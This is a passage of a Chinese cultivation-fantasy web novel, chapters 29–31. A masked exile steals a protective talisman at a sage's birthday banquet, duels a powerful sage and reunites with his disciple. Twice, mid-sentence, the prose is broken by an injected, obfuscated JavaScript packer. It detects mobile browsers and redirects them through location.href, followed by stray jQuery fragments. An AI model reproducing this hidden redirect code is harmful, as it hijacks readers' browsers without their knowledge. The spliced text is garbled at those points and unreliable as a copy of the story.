金闻撇了一眼昌修,看到一缕转瞬即逝的光从昌修窄小的眼眸中划过,于是假意往跟前靠了靠,颇为认真道:“昌修圣灵可知,人若用对了功法,体内可以同时蕴藏两个灵核。” 昌修像听到了什么惊天秘密,“果真?你从哪里看到的?” 金闻见状更加私密道:“是我多年前游历时听别人小声讨论的。当时我一点也不相信,人怎么可能会同时拥有两个灵核呢?但后来我进入圣灵宫与万初圣灵打过几回交道后便从他无意间说出的话中猜到几分,兴许是真的。” 昌修倍感惊奇,一双小眼在眼皮下滴溜溜地转。怪不得万初当年要把那灵核自己拿回去……他心里琢磨,万初就是想独占! 这时一个身穿白袍,满头白发的男人步态沉稳地走了过来,他看上去比任何一个人都要老,可他的容貌又跟这满头白发略有出入,二百多岁的年龄却依然有一张四十岁左右的容颜,还未修炼成仙便在诸人心中如半仙一般,每每他出场,修真界上下都暗暗敬畏。 其后跟随的是一个年纪大约在五十岁左右的男人,男人身穿青衣,肚皮微鼓,一副憨笑谄媚的模样,而他的身后又跟着两个年纪差不多,高矮不一的老头。 底下众人极有眼色,呼啦啦站起来朝白衣男人道:“拜见万初圣灵。”再对后面几位拜道:“拜见徐旻圣灵、尤鸣圣灵、谷嵩圣灵。” 座上两人刚在讨论万初,万初就悄没声息地来了,金闻率先起身对万初圣灵打了个招呼,几位圣灵互相见过后纷纷落座。眼下就剩一个位子在空着了,万初道:“昌修圣灵,我听说左舒圣灵已经提前跟你说不来参加你的生辰宴了,既如此,便不用等他了,开宴吧。” 这居高临下,藐视万物的语气令昌修心里十分不爽,他才是今天的主人公,怎么能由旁人说了算?他冷哼一声,望着左舒空空的位子不屑道:“成日妄图修炼复活之术,他左舒好大的架子,平常不来也就算了,今天就算不给我脸也不能无视万初圣灵啊。” 金闻浅浅一笑,侧眸去看万初的脸色。 万初仿佛没听见一般,自己给自己倒了茶水,喝了一口赞赏道:“茶不错,很是清冽。” 准备茶和点心的水月门宗主大受欣慰,等候着万初接下来问是哪个门派准备的这句话,但万初似是说完了,不再言语,水月门掌门大为失落。 昌修见万初一副漠不关心的样子心里不服气,对站在一旁的使者命令道:“去把左舒圣灵请来,一定要请来!” 使者得了命令便飞奔往圣灵宫了,昌修自不会等到左舒来才开宴,他还没有那么大的脸面! 开宴指令一下,便有负责这次生辰宴菜系一事的清凌门弟子陆陆续续为座上之人上菜。高灵门派羽衡门的女弟子身穿石榴红裙挽袖自台下莲步舞来。羽衡门在高灵门派当中一直隐约占有主导地位,有很大一部分原因来自于成为圣灵的万初曾是羽衡门前前前任掌门。 昌修原本有些燥怒的心情在看到一个个纤腰玉容的少女们时顿时消了下来,当注意到桌上菜系之独特时,他带着愉悦的心情拿起筷子夹了一样菜到嘴里。 昌修喜爱美食更喜爱美女,因此食物的美味在他看来仿佛是自己吃到了美女,他筷子不停,视觉和味觉得到了双重享受。 桌上的每样菜都制作的相当精美,飘香四溢,吃到嘴中更是从来没尝过的鲜香与口感,而这只是前菜。 清凌门内,容檀一直在环顾四周观察众人吃饭时的表情,尤其是高座上的昌修圣灵,但昌修圣灵的注意力似乎都在舞蹈上,容檀不免心下一沉。 昌修圣灵喜爱吃山珍海味,因此清凌门在采购食材时特地购了许多珍贵之物,如熊掌、鲍鱼、蟹子、鱼翅等,待一舞作罢,这些美味佳肴才作为第二批上场的菜呈现在所有人面前。 众人尚未从前菜的美味中回味过来,如今又一股股肉香扑鼻,而接下来依旧是羽衡门的男弟子上台表演舞剑,这会儿人人都沉浸在吃食中,已经顾不上看表演了。 昌修圣灵对男弟子舞剑不感兴趣,于是夹了筷蟹肉吃,不觉眸光一亮。左舒圣灵姗姗来迟,昌修不怀好意地看了他一眼,想着宴后定要找机会让他好看。这时有位圣灵道:“今日之菜十分独特,观赏性和味道皆令人倍感新奇,你看这蟹子肉的做法,不曾想还能有这般美味。” 说这话的是尤鸣圣灵,闻言,谷嵩圣灵附和道:“是啊是啊,做法新奇,味道更绝,不知昌修圣灵觉得如何?” 昌修本就在吃上注重精细与美味,这才意识到从一开始上来的菜就很合他的口味,闻言笑道:“的确不错。” 场中舞乐声嘈杂,这些话没有传到底下人的耳朵里,容檀毫无心思观看表演,但台上那些晃荡的身影又让她看不清昌修圣灵的表情。 待几个 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容檀快步上前:“清凌门掌门容檀携弟子连逸拜见昌修圣灵。回禀圣灵,今日菜系是由清凌门所准备。” 昌修看到下方站着一个清丽脱尘的蓝衣少女,不禁身子前倾,眯起眼睛,颇有兴趣道:“小小女子也担起了掌门之位,很好。本座问你,这道菜是什么做的啊?” 负责菜系的是连逸,具体做法是应白掌厨,容檀只管看最后的结果。 连逸道:“回圣灵的话,此道菜是将现摘的玉兰花清洗干净,将花瓣切成丝,涂抹蜂蜜置于罐中密闭一月,要吃时用玉兰花瓣熬成的花酱淋上,洒上晒干的花//蕊即可。” 万初若有所思。 “甚是精巧,如此美丽,真是难为你们。”昌修圣灵的目光一直没从容檀身上离开,这句话也不知在夸这道菜还是在夸别的。 不管昌修圣灵究竟在夸什么,此言一出,在场众人都知道清凌门因为一道玉兰花瓣做成的菜受到了昌修圣灵的称赞! 容檀心中激动,暗中窃喜自己的目的已经达到,这一句夸赞足可以让清凌门挣回一些脸面。 “我记得……”昌修圣灵的声音再度从上方传来,“圣灵宫中有一处栽满玉兰花的庭院,甚是好看,清凌门有这般巧妙心思,那我不妨赐给你去圣灵宫观赏玉兰花的权力吧?” 这话的意思再清楚不过。 护身符啊!那可是能进圣灵宫参观的千金不换之宝贝!只有给圣灵宫供上珍惜资源的门派才有可能获得护身符,清凌门就凭做做饭这样的小事就获得护身符了? 场中其他门派纷纷用一种妒恨的眼神看向容檀,尤其是想凭舞蹈赢得昌修圣灵夸赞的羽衡门,羽衡门包揽了本次生辰宴的节目表演,没想到连一句赞扬话都没听到,清凌门竟因一朵烂花做成的菜而受到奖励实在是可恨之极! 容檀激动得差点要按捺不住自己了,她迎着众人恶毒的目光朝昌修圣灵座下缓缓走去。 昌修圣灵近距离看到了容檀的样貌,心中瘙痒难耐,单手一挥,一个符纸般的物什从袖中出来,“这是护身符,容掌门,你可一定要来圣灵宫看玉兰花啊。” 容檀丝毫没有听出昌修圣灵的言外之意,她全身心都在注视着那张金光闪闪的护身符,伸出双手欲将它碰在手心。 这一刻,场下所有人再怎么妒恨容檀,在看到护身符的那一刻都流露出了奢望之情,巴不得这个东西属于自己,巴不得能从容檀手中抢过来! 正这时,一道淡黄色的光芒横空划过,紧接着一个飞快的黑色身影凭空出现,在容檀即将拿到护身符的一刹那先一步抢走了! 容檀的笑容僵立在脸上,眸中顿时显露一丝惊愕,随即反应过来了什么大喊道:“什么人!” 她回眸,见半空中一个黑衣蒙面人两指夹着一张明晃晃的护身符,身形轻盈一起一落,转眼就要离开天阙台。 还真有人上去抢了! 方才在心中腹诽的门派呼啦啦全站了起来,睁大了眼睛想看穿那黑衣人究竟是何模样,敢在昌修圣灵的生辰宴上公然抢符,实在是大胆包天! 容檀双眼微眯,心中不免有些意外。这个蒙面人不用想也知道是谁,可他连灵核都没有,怎么会使出刚才那样强悍锐利的灵力呢? 29. 抢符 眼瞅着黑衣人就要离开天阙台,昌修拍案起身,窄小的眼睛瞪得老大,“竟敢在圣灵面前放肆!” 随即一道灵力击了过去,而众人看得清楚,这道圣灵之力在快要触及那人时却被对方单手驳回! 在场众人倒吸一口气…… 能不费吹灰之力就能回击一个圣灵发出的灵力,此人实力有多强悍自不必言明,圣灵宫七位圣灵皆在此处,那这个隐藏样貌的高人究竟是何人? 如果他的灵力已至如此境界,直接参加灵阶比试成为圣灵就可以自由出入圣灵宫了,何需偷护身符? 疑云重重,众人来不及深思,眼看黑衣人要再次逃离,万初身子一跃,三两下就飞到对方身旁,一柄拂尘不知何时拿了出来,花白的尘尾如一条攻势迅猛的白蛇直冲对方而去。 对方只防御并不回攻,一场精彩至极,百年罕见的对打活生生在众人眼前展现。 再次面对万初,应白内心说不上来是什么感受。 许多年前,他刚进圣灵宫的时候对万初有着三分敬意,这些敬意来自于万初高深莫测的实力和不同于其他圣灵的性情,至少当时万初在应白心中是一个值得尊敬仰视的人。 但直到应白在外对别人讲仁爱却没有一个人理解他时,他想起了万初,他坚定地认为万初和他是同类人,他们在这个观点上一定能达成共解。 “爱是懦弱者的行为,善良是最低贱的品质。” 万初这句话让当时热血澎湃的少年心如死灰,一直矗立在他心间的一块雕像轰然碎裂,从此以后他和万初之间便再没有话可讲。 “应白,你还要执迷不悟到什么时候?你天资聪颖,少年便成为了圣灵,此等荣耀圣灵宫所有人都求之不得,为什么你总要执着在那些虚妄之上呢?” 南海上空,万初向来白皙平淡的脸显得愤怒不堪。 应白抹去嘴角的血道:“人若空有人的皮囊,空有一颗跳动的心,只知荣誉与名利有什么意义?这个世界把灵力看得如此重要,满脑子都想着成仙,可神仙如果心中没有爱,世间万物又怎么可能安然无恙地生存。” 万初气得仿佛在颤抖,他神色愤然道:“你实力虽强,思想却太过糊涂,妄图藐视天道,蔑视强者,即日起我便将你关在漩涡之境,让你不死不灭,终生反省!” 当年的话语在面对此时的万初时一字一句在脑海中显现,他与圣灵宫公然为敌已经是既定的事实,万初圣灵灵力高强,他若只防御根本不能脱困,救容珠一事势在必行,他本就做好了被众人再次认出的准备。 万初也在与黑衣人的数次交锋中察觉异常,黑衣人越是回避他越是进攻凶猛。他为何要隐瞒自己的实力?修真界何时有这般高人,为何隐藏数年,今日只为区区护身符现身?他想去圣灵宫干什么? 万初对他的好奇越来越深,手中攻势渐猛,眼瞅着就要取对方性命。 应白抬手挡住拂尘,拂尘顺势勾住他的臂膀将他往前一拉,应白旋身后退,从臂间飞出一把短刀击中了佛尘的手柄。 火星迸发,击得佛尘一松,短刀一个回弹回到了应白手中。 底下人见状已瞠目结舌,要知道万初圣灵的修为是修真界之最,也就当初那个年少成名的疯子可以与之对抗一二,竟不想还未过百年,这世间已经再次出现一个可以成为圣灵的人了? 人群炸开了锅在议论,容檀还在气愤清凌门的护身符被应白抢走,没想到自己当时不答应给他他还敢来抢,也不知用了什么方法让他恢复了灵力,她才不管那么多,如果在场所有人都知道黑衣人就是应白,那他铁定跑不了了,她非要让他付出代价! “我知道——呜!呜!”她吆喝到一半嘴巴猛地被人用手捂住,紧接着便被拉到一边去,一个熟悉的声音响起:“檀儿,少说话!” 容檀双眸震惊,被松开后她不理解道:“爹,你这是做什么,应白是罪人,他抢了清凌门的护身符!” 容江问:“你怎知那人是应白?” 容檀一幅“这还用说”的表情,“因为他——” “为什么所有人都不知道黑衣人是谁而你知道?因为他先前问你要你不给?因为他曾给清凌门做过交易?因为这次昌修生辰宴的菜系是清凌门允许他做的,目的就是为了获得护身符?” 容檀一时之间没有反应过来,容江继续解释道:“我们因今天获得护身符已经成为众矢之的,一旦与应白扯上关系只会百害而无一利,你若是揭发了那人真面目,你知道清凌门会承受多少谣言污语吗? “那些人才不管真相如何,只要人人团结一致说清凌门与应白为武,你指望谁为你平冤?不如静观其变,到目前为止,清凌门是受害者,应白要做什么自有他的因果,休再多事!” 这还是容江为数不多的一次训斥容檀,容檀愤愤不平却也有些觉得自己太过冲动,头一扭十分不情愿地默声不语。 场中人只顾着看远处的对决,根本无人在意别的画面。容江的话也传到了连逸耳中,关于应白是怎么能用灵力这件事他毫不知情,但他可以确定要付出的代价定然不容小觑,他不禁为应白捏一把汗。 如今护身符已被抢走,圣灵宫定会加强戒备,若从大门上去定会被拦截……应白一边回攻万初一边在心里思考接下来的计划。 圣灵宫这么大,正经的出入口的确只有这一条,整个修真界也只知道这一条,可哪个圣灵没在自家后院开辟一条幽径下山?总有一些事是不能被外人所知的。 既然容珠被当作昌修的生辰礼,按理说从昌修后院的小径上去是最快捷的,但应白并不知道这条小路在哪,他只知道万初和左舒的小道。 万初那条是当年万初带他一起走的,左舒那条是他自己留意发现的。 该选哪条答案很明显,可对峙激烈,他脑中思绪纷繁复杂,在他分神的一刹那,万初眼尖,一道强悍灵光扑面袭来,对方以八成之力出击,应白若想保命不管怎样都要亮出自己的真实实力! 他双手迅速凝聚灵力,一道不同于万初浑厚强悍的力量从他胸前涌出,黄色的灵力对上银色灵力的一刹那,一阵足可席卷众人的狂风如魔兽般在这偌大的场地中肆意吹狂。 众人哪还有眼睛去看远处二人的对决,脚步尚且站不稳,只能躲在桌子底下稍微避一避。 应白能用灵力的时间有限,只可惜他的佩剑在当年被七大圣灵围攻时落于南海里了,那也是一把难得的灵品,如今空有灵力也不能与万初长时间交战。 不等万初眼中有些许错愕的神情反应过来,应白紧接着又使出了十成十的力量。 喉间顿感一丝腥甜上涌,他利用万初尚沉浸在惊讶中被自己这十成十的力量激得倒退一步的空隙,立即撤手在身后的树林中消失。 就在他消失的刹那间,七大圣灵的脚步刚赶到这里落地,昌修大喊道:“万初圣灵,你怎么让他跑了?” 万初圣灵已经缓了过来,他一双冰冷沉静的双眸直直望着丛林深处,“他出来了,他要去拿回他的灵核,快去存灵堂围堵他!” “什么——!” 此言一出,徐旻圣灵大惊失色,“他,他,他是,他是应……” “快去抓他!”万初圣灵一声怒吼,既而又道:“他没有灵核,体内灵力不能维持太久,不能让他在此期间拿到,否则又要祸乱整个修真界!诋毁圣灵宫!” 万初圣灵的话还没说完,昌修圣灵如猴般在眨眼间跳进了树林,其他圣灵见状纷纷前去支援。 场中人耳尖者听到万初圣灵说什么“他出来了”、“拿灵核”、“祸乱修真界”等字眼当下便反应过来,大惊道:“什么!黑衣人是应白!” “应白?他,他不是被关漩涡之境了吗?” 一石 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16711215|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 激起千层浪,躲在桌子底下的人纷纷钻了出来朝议论之地围去,这个时候也不管高灵或低灵门派等级了,也不顾门派与门派之间的隔阂仇恨了,一说起应白,大家仿佛都是一个娘胎里生出来的兄弟,团结一致,共同对外。 谁能想到昌修圣灵的百岁生辰宴到了末尾竟还有这等意外出现,大家震惊之余莫名有一股亢奋激昂环绕场地,对应白的喊打声欲渐激烈,仰着下巴踮起脚来望云层间的圣灵宫,谁不渴望能前去亲眼一观? “应白定是要去圣灵宫拿他的灵核,他早就计划好了要在昌修圣灵的百岁生辰宴上出现,没想到他竟还能使出这般强大的灵力,怕不是修了什么禁术或者与妖魔勾结了吧?” “他是个疯子,我们怎能以常人之角度来思考他的行为?算他运气好,昌修圣灵过了许多次生辰都没奖励过护身符,他像是早知道似的,眼疾手快抢了去。” 水落泽阴阳怪气道:“不属于自己的东西,上天总有各种方法让他们得不到。”她上前一步斜视容檀:“护身符这般贵重之物,也配被降级的门派拥有?” “清凌门的运气怕是整个修真界独一无二的存在吧?前有圣灵宫抽中容珠那废物导致清凌门降级,今有应白逃离漩涡之境抢走了赐予清凌门的护身符。哈哈哈哈哈……” 舆论的中心已在不知不觉间转移,各种眼神纷纷看向独自站在另一边的清凌门。容檀双拳紧握,浑身像是寒冬天里的一块冰,散发着丝丝寒气。 她本来就想着借此生辰宴能挽回一点清凌门的荣誉,清凌门的确受到了称赞,也在众目睽睽之下拥有护身符,这么大的荣誉,今日只有清凌门荣获!可是—— 可是到头来竟成了今日最大的笑话,因为清凌门的运气如此之背,他们哪里知道一切的一切都是因为容珠!容珠是今日之事最大的源头! 容檀咬着牙强撑场面:“五大高灵门派顶力出资操办的生辰宴到头来没听到一句赞扬话,反而是我们清凌门获得护身符,没有拿到又怎样?应白现身,在场诸位谁能抵挡得过他?” 水落泽呵呵一笑:“容掌门怕是硬打脸充胖子吧,没拿到就是没拿到,没有福气,清凌门就是倒霉透顶!” “水姑娘好厉害,还想给我们清凌门安排命运,未免也太看得起自己了吧?”容檀气得真想一耳刮子给她扇过去,今日说什么也不能让清凌门再度受辱。 水落泽拂了拂额边发,微微扬起下巴,凑近容檀面带笑意道:“就凭我们水月门是中灵门派,当然有资格数落一个被降级的清凌门。” 被降级的清凌门这一称呼是容檀心中永远过不去的羞辱,又逢水落泽这副令她厌恶的嘴脸在自己眼前得意洋洋,既然对方都羞辱到自家门上了,那她也不介意把水月门的丑事烂事抖搂出来。 她刚想开口忽然听见一人道:“水姑娘,清凌门再怎么倒霉透顶也是昌修圣灵举办生辰宴以来唯一被赐予护身符的门派,还怕将来不能继续受奖吗?清凌门纵然是一个被降级的门派,但总还有容掌门坐镇,不是谁年纪轻轻就能成为中灵,也不是谁年纪轻轻就有本事能坐上掌门之位的,提升灵阶对清凌门来讲又有何难?” 水落泽虽和容檀一样是中灵,但容檀之父却把掌门之位赠予容檀,而自己去和父亲商议也想当掌门时却被父亲一口回绝了,理由是还小,历练不够。 她和容檀都是一个年纪的女子,年纪根本不是问题,自己又哪里比容檀差?看见容檀当上掌门那威风样就让她恼火,凭什么自己就当不得? 她看向这个出言不逊的人,扫了一眼他空空的额间怒道:“你又是什么地位的人过来多嘴?连个灵力标识都没有,不会连低灵都不是吧,哈哈,这就是清凌门现在的弟子水平?” 连逸不紧不慢道:“水姑娘说我可以,但冒犯我们清凌门掌门就是目无尊卑,你一个水月门的弟子没有这个资格。” 30. 重逢 水落泽在家被父亲宠,被姐姐仰视,受众多水月门弟子崇拜,本就一直想当水月门的掌门不如愿,今日哪里能忍受一个无名之辈来戳自己痛处?她奈何不了容檀还奈何不了一个清凌门弟子吗? 火气一上,水落泽当即一道剑光逼了过去,眨眼间,这道剑芒被一道凶悍的蓝光隔断。 “清凌门掌门在此,你敢对我派弟子拔剑相向?”容檀长剑未出鞘,一声气势如虹的喝令立在水落泽与连逸之间。 “要打就打,你敢不敢?” 容檀轻蔑一笑:“你是小孩儿吗,说不过就打架,打又打不赢,在这丢人现眼做什么?” 水落泽知道容檀是在说上次因清凌门弟子拉肚子,两人在水月门大战一场的事。 她一肚子火气,丝毫没有收剑之势,“你派弟子辱我在先,我先解决了他再来与你一决胜负。” 说着,她剑光猛地朝连逸伸去,连逸身子一闪的功夫长剑出鞘,叮当作响的对击之声连绵不绝在众人耳中响起。 水月门掌门水照正坐在一把椅子上仿佛在看热闹,他额间一抹紫,位属高灵,身为掌门人自会把好资源拿给自己享用,因此升灵阶比寻常人要快些。 他女儿水落泽的本事他还是知道的,上次输给容檀也只是普通胜败,同是中灵,实力本就相当,不见得这次就不能取胜,先让她拿这个连灵力标记都没有的小子助助威吧。 打架这种事向来是最博眼球的,更何况被打的是清凌门,胜负已定,众人皆在看好戏。 水落泽认定连逸灵力低微,为了报方才被羞辱之气,她招招狠毒,势必要让他败得难看,可几个回合下来她渐渐发现有点不对劲。 每一次她都肯定能将对方打倒时对方总能以快过她的速度或力道阻挡她的剑锋,她自认自己的剑术奇快,在修真界也小有名气,对方出招一副慢吞吞的模样,缘何总不能将他击倒? 总感觉自己每一次出招都在受限,一次两次是巧合,可以说他会灵活应对,可十次二十次呢? 她不信邪,将全部灵力灌入剑中,又快又重地发起进攻,仿佛是在决一死战。 连逸看出了她的心思,也不藏着噎着,一改剑招,使了个看似轻盈实则强劲的回旋动作一招对上了水落泽的剑柄。 水落泽下意识反击却觉迎面一击如偷袭般麻了她的手腕,伴随着“咣当”一声落地响,她尚未从万分震惊中回过神来就要踉跄倒地。 水照神色突变,一个闪身将女儿扶起,佩剑被人击掉,什么结果不言而喻。 连逸收剑朝水落泽揖礼:“清凌门连逸,承让。” “你——!”水照怒视连逸,转头就大喊大叫道:“不得了啦,清凌门以下犯上,敢伤我水月门中人,容檀!你就是这么当掌门的吗?” 场面出乎意料,容檀暂压对连逸的好奇,呵呵一笑道:“是谁说要打架的?愿比不服输啊?低灵清凌门弟子一比一战胜了中灵水月门弟子,实力在这,倒不知水月门实力究竟如何?” 水照就要继续理论,容檀抢过话头道:“水姑娘为中灵,今日被清凌门一个弟子打败,看来也不需和本掌门决一胜负了。有这闲工夫还是重新考核一下自己的灵阶吧,别整天顶着中灵的标识四处显摆,看来也没有多强嘛。” 水照说不过容檀就将苗头对准容江:“容尊主,你就是这么教导女儿的吗?全然不懂尊卑之别,毫无教养可言,这样的人如何当掌门?” 容江笑道:“水掌门的话在下不懂,众人都看到方才是水姑娘说要比试的,清凌门并没有拒绝一个中灵门派提出的要求,如何不懂尊卑之别? “况且在比试中水姑娘招式狠毒,招招致命,本就不是一个正常比试该有的情形,我清凌门弟子有本事怎就不能反击? “不过是清凌门弟子获胜而已,水掌门也能说出这些不着边际的话,实在是毫无教养可言。” 一战过后,清凌门和水月门皆成了众人口中的闲谈,无人承认清凌门实力不容小觑,不过嘲讽之言倒是不怎么听见了,倒是水月门此后又多了“啧啧啧”一称呼,不知算得上什么。 日头渐落,圣灵宫方还未传来任何消息,众人今日看多了戏,估摸着应白一事又是一场持久战,干脆收拾完东西拍拍屁股回家了。 不远处的丛林深处,应白刚摸索到左舒开辟的幽静小道,一阵腥甜上涌,口中第四次咳出血来。 身体没有灵核运转,使出越强大的灵力就对自身反噬越多,虽然已经提前吃了护心丸,但此刻身体承载的痛苦让他连正常行走都有些困难。 一想到容珠还在圣灵宫,他就像被一根无形的线吊起来似的,重新站起来,将护身符贴在身上穿过结界,一步一台阶向上而行。 想必圣灵宫的人此刻都聚集在存灵堂内,若等不来他,万初定会全面封锁圣灵宫,这些幽静小道会不会也有人驻守应白并不确定,他必须速战速决。 忽然一阵草叶的窸窣声从某处发出,细微之声在这片寂静的道路中分外敏感。 应白找了个草叶茂盛之地暂时隐蔽起来,直到那声音自上而下,似乎小心翼翼,离他越来越近…… 一道淡粉色身影在幽静暗绿的草丛中现出。 夕阳西下,这里树木茂盛,本就遮挡了大片光线,如今更如黑夜一般叫人难辨情景。但从衣装、体型和走姿来看,怎么都是一个女子,而且…… 应白怀疑自己吐血太多产生了幻觉,他竟觉得这人的模样与容珠有几分相似。 早些时候,左舒圣灵对容珠说可以让她从一条小路下山,这条小路虽然隐蔽不为旁人知晓,但道路弯绕,一不小心就会走错路。 于是左舒把路线口头叙述了一遍给容珠听,容珠在心里暗暗记下,也按照左舒所说的方向走,不过走着走着她就开始混乱了。 她不知道是左舒记错了路线还是这里的草太久没修剪了,明明要左转的时候却一条路都没有。 她在草丛里穿行,跨过残枝树干,又踩着石头过泥坑,身上沾满了草汁和灰尘,眼瞧着阳光渐渐暗了下去她也没看到出口,绝望之感再度来临,她怀疑自己从某一步开始就走错了,如今指不定绕到哪里去了。 身后是漆黑一片的山林,她根本没可能原路返回,只能硬着头皮继续往下走。她的脸在黑暗中显得苍白疲惫,头发上沾着树叶,脸上也沾染了泥土。 忽然一声怪异的鸟叫从头顶响起,容珠吓得一激灵,紧接听见草丛中传来急促的脚步声,容珠本想找地方躲起来,但余光已经瞥见了一个人影朝她奔来。 她当即不顾一切地往前跑,浑身的恐惧汇聚于顶,只知道身后之人在追赶自己。 山路崎岖,光线昏暗,容珠一个不注意就被石头绊住,“啊”的一声就要一头扎在看不清景象的地面,忽觉一只手紧紧握住了自己的胳膊,身体猛地被这道力气拉回,在大脑还没反应过来时,额头便大力触及到一个结实宽大的地方,后背被那人的另一只手触上,容珠心下一惊,用力咬了这人胳膊一口,“放开我!” 容珠这一口咬得不轻,应白尚处在容珠能说话的惊奇中全然没注意到痛。避免呼救声引来别人,应白一手扶着她,一手捂上她的嘴巴,对视的一刹那,两双眼睛成了这片夜空下最亮的星星。 “是我。” 容珠的眼睛睁得快如盘子大了,眼前人被黑衣紧紧包裹,整张脸只露出一双明亮的眼睛,而这眼睛是那么的独特可辨,让她一眼就认出了眼前人。 “师父……” 温热的气息在应白掌中萦绕,他这才慢慢松开手,将面罩拿下来。两人面对面再见,惊与喜交杂在一起。 应白怎么也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16716072|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没想到他还没进圣灵宫就遇到了容珠,容珠怎么也没想到她正害怕自己找不到出口时就看了师父。 “传万初圣灵命令,圣灵宫要悉数警戒起来,防止应白逃离,不能有任何错路之处……那边,还有那边……” 寂静的深林传来这道惊破声,没想到连私人通道都要派人看护。容珠尚来不及问应白是怎么回事就被他拉紧手说了一声“快走。” 身后之声仍紧跟着他们前行,那些人速度很快,没过多久就在各处安插了人手,如果要沿正路出去必然会被发现。 应白忍着体内难受之感带容珠潜入了丛林,他们放慢了脚步,放低了身子,凭着那些人的声音和脚步声寻找一条不易被发现的路。 应白四处观察,锁定前方一块可挡身影的山石,和容珠走走停停移了过去。 待二人来到山石后时不想紧挨着的就是一处极陡峭的山崖,连容纳一双脚的地方都没有,两人半只脚踩着崖边,感受着碎石从脚底滚落,细碎之声顺着峭壁渐渐远去。 山崖其实不算多高,轻功就能下去,倒是不远处有一座精巧宅院吸引了应白注意,宅院漆黑一片,里头应该没人,他现在急需调整自己的身体状况。 月光初现,堪堪照亮了一部分地面。容珠还在想如何下这悬崖,他们甚至连悬崖哪里有落脚之地都看不清。 “抓住我。”头顶上传来应白虚浮的声音,容珠并没有在意,她朝应白点头,抱着他,随后被他单手环住。应白脚尖一点,身子在大石间起起落落。 夜晚的微风刮过耳边,容珠看着眼前景象忽上忽下,没多久就在地面落了脚。身旁之人支撑不住,猛地倒在了地上。 容珠大惊:“师父!你怎么了?” 应白沉闷地咳嗽几声后又爬了起来,“先不要说话,我们先进去。” 这座宅院地处僻静,背靠青山面朝河流,方圆几里荒无人烟,院门大开,院内栽满了鲜花,一条石子小路从院门通向屋内。 屋子架构简单,也就能住一两个人。两人在离前廊还有三步远的距离时应白忍不住又咳嗽了一声,忽然间一扇窗户亮了起来。 两人一惊,不想屋内有人,而在此时院外又传来脚步声。容珠直觉要躲起来,拉着应白绕到屋子后方,这里是个死角,院墙在月光照耀下泛着灰白的朦胧光芒,溪水穿石之声在墙外流响。 两人歪头凝神屏息去看,一个身穿青衣,微微发胖的男人在月色下踮脚小跑着走了进来。应白眉头一皱,疑道:“徐旻?” 容珠问:“徐旻圣灵?” “对。” 两人跑了半天竟跑到徐旻的地界来了?这真是他的宅院吗?为什么一副鬼鬼祟祟的模样? 徐旻频频回头似是在观察自己行踪有没有被人发现。屋门关上后不久便从两人头顶上的窗户里传来说话声: “你明知道今天发生了何事还叫我出来,圣灵宫如今戒备森严,每个圣灵都在提防应白那小子,你当我很闲啊?” “可是旻哥……”一个娇弱卑怯的女声道:“我想你……” “你想我算什么大事,我跟你说,应白的事要是不解决你别来找我。” 女人拿起一样东西放在嘴边吹了口气,一簇火苗迸发出来,“旻哥不要生气,这是我新买的香,你先闻闻静静心……” 头顶的窗户半开着,两人歪打正着躲在了徐旻和那女人的屋外。徐旻的私事应白不知道也不打算了解,他有些头疼道:“看来这里待不成了,咱们走。” 又一阵脚步声从院外靠近,两人刚冒出的头又倏地收了下去。 一个瘦黑模样的老头从门口悄没声息地走了进来,他比徐旻还鬼鬼祟祟,歪着头去看窗内景象,走两步停一停,似是在变换不同角度去窥探屋内情形。 这般模样不是昌修又是谁? 31. 秘密 忽然“吱呀”一声,屋子的门开了,昌修慌里慌张地在靠近院门的一丛花下躲避。 应白的眉头皱得更紧了,他隐约觉得有不太好的事要发生。 屋门刚开了个缝隙就听里面女人道:“旻哥,你不要走,我好歹是你的妻子啊。” “嘘!妻子怎么了?别忘了你没有灵力,我可是圣灵,要是传出去说我有个没灵力的妻子岂不遭人笑话!” 徐旻声调强势高昂,全然不似在生辰宴上一副憨笑畏缩的模样。 昌修伸长脖子去瞅屋内情形,好似看得不是很真切,他又往前走了几步,离主屋隔着几步远的地方蹲下。 应白开始环顾四周,想从身前是屋背后是墙的地方逃出去。他们右边没有路,左边出去就会被昌修发现,翻墙下去又是河流,只有上天一个选项,可这根本不可能。 容珠动了动鼻子,小声道:“好香啊……” 香? 应白也闻到了香,可能是屋内点了熏香一类的东西,从窗户处飘了下来。 这时,屋内的徐旻也问:“这香的味道好奇特,感觉从来没闻过。” 屋内不知怎的寂静了好一会儿,只听见有隐约的衣料摩擦声。这时候容珠回头道:“我看见昌修圣灵朝屋门口走去了,他为什么要跟踪徐旻圣灵?” 应白也不知道这个时辰昌修不在圣灵宫庆生跑下来干什么? 他摇摇头,深觉这个香味闻得他很不舒服,他本来还想着在此地休整一晚,调整一下//体内气息,没想到又出了这个岔子,莫名觉得燥热不堪。 屋内又传来一阵响动,女人娇弱道:“你半年都不来看我,好不容易来这一次,我又怎舍得轻易放过你……旻哥,你说这香好不好闻啊……” 徐旻嘿嘿笑了几声道:“你这是小瞧我。” 清甜香气从窗户处徐徐飘出,应白头痛欲裂,暗道事情已经在无可救药的道路上一去不返,这处角落并不宽敞,他又和容珠处在一起,接下来会发生什么他简直不敢想。 “容珠,不要闻这个香气……” 容珠猛然发觉应白的声音极其沙哑虚弱,结合方才应白一直咳嗽等诸多异常情况来看,他一定是出事了。 